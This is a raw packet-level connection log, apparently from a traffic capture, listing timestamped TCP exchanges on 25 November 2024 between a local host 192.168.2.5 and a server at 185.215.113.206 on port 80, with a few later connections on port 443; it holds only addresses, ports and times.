Nov 25, 2024 14:14:15.620363951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.620390892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.620443106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.621212959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.621268034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.621885061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.621936083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.622237921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.622287035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.622420073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.622477055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.623087883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.623142958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.623235941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.623282909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.623842955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.623904943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.624492884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.624552011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.624752045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.624763966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.624814987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.625646114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.625713110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.625808001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.625861883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.626535892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.626600981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.626982927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.627039909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.627401114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.627459049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.627973080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.628035069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.628309965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.628380060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.628422976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.628492117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.629143000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.629203081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.683238029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.683289051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.683334112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.683366060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.683794022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.683850050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.684113979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.684165001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.684684038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.684739113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.685127020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.685177088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.685455084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.685509920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.686182976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.686259985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.686350107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.686403036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.686405897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.686444998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.687300920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.687381983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.688085079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.688150883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.688159943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.688172102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.688230038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.689033985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.689099073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.689177990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.689233065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.689950943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.690011024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.690496922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.690553904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.690854073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.690890074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.690936089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.691725016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.691785097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.691879034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.691930056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.692604065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.692653894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.692852020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.692900896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.693507910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.693568945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.693584919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.693639994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.694477081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.694489002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.694545031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.695280075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.695334911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.695465088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.695518017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.696198940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.696254969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.696938992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.696994066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.697138071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.697149992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.697194099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.697999001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.698052883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.698066950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.698105097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.698854923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.698904991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.699028015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.699080944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.699806929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.699863911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.699979067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.700032949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.846939087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.847008944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.847031116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.847100019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.847404003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.847464085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.847858906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.847908974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.848238945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.848294020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.849188089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.849200010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.849211931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.849245071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.849275112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.850002050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.850055933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.850056887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.850100994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.850934029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.850989103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.851089954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.851139069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.851860046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.851917982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.851921082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.851958036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.852792025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.852847099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.853028059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.853085041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.853820086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.853874922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.853984118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.854037046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.854619026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.854676962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.854721069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.854763031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.884392977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.884556055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.884567976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.884613991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.884624958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.884638071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.884669065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.884696960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.885274887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.885334015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.885452032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.885514021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.886223078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.886280060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.886326075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.886373043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.887128115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.887188911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.887229919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.887269020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.888065100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.888117075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.888196945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.888245106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.888900995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.888948917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.888978004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.889019012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.889858007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.889868975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.889925003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.890708923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.890772104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.891552925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.891565084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.891576052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.891614914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.891645908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.892488003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.892550945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.892770052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.892822027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.893390894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.893435001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.893723011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.893778086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.894325972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.894378901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.894457102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.894500971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.895123005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.895175934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.895621061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.895670891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.896236897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.896292925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.896357059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.896416903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.897016048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.897070885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.897134066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.897180080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.897912025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.897969007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.898040056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.898092031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.898777008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.898828983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.899041891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.899094105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.899621010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.899674892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.899821997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.899869919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.900506020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.900563955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.900743008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.900793076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.901464939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.901515961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.901777983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.901828051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.902374983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.902389050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.902426004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.902457952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.903274059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.903382063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.903533936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.903599977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.904067993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.904118061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.953478098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.953517914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.953546047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.953581095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.953826904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.953877926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.953968048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.954020023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.954966068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.955029011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.955061913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.955121040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.955754995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.955812931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.955832005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.955897093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.956511021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.956561089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.956650972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.956696987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.957436085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.957496881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.957559109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.957617044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.958298922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.958353996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.958583117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.958636999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.959224939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.959290028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.960287094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.960344076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.960346937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.960362911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.960392952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.960422993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.961143017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.961200953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.961549997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.961606026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.962116003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.962163925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.962439060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.962491989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.962976933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.963032007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.963123083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.963176012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.963932037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.963984966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.964107037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.964170933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.964678049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.964696884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.964735031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.964766026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.965653896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.965666056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.965728045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.966511965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.966522932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.966622114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.967279911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.967345953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.967360973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.967479944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.968456984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.968518972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.968563080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.968611002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.969189882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.969243050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.969258070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.969305038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.969916105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.969968081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:15.970597982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:15.970654011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:16.113564968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:16.113642931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:16.113728046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:16.113781929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:18.859165907 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:18.859174013 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:18.859220982 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:18.859428883 CET	49708	443	192.168.2.5	142.250.181.68
Nov 25, 2024 14:14:18.859437943 CET	443	49708	142.250.181.68	192.168.2.5
Nov 25, 2024 14:14:19.445633888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:19.445712090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:19.914856911 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:19.914905071 CET	443	49711	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:19.915013075 CET	49711	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:19.915532112 CET	49711	443	192.168.2.5	13.107.246.63
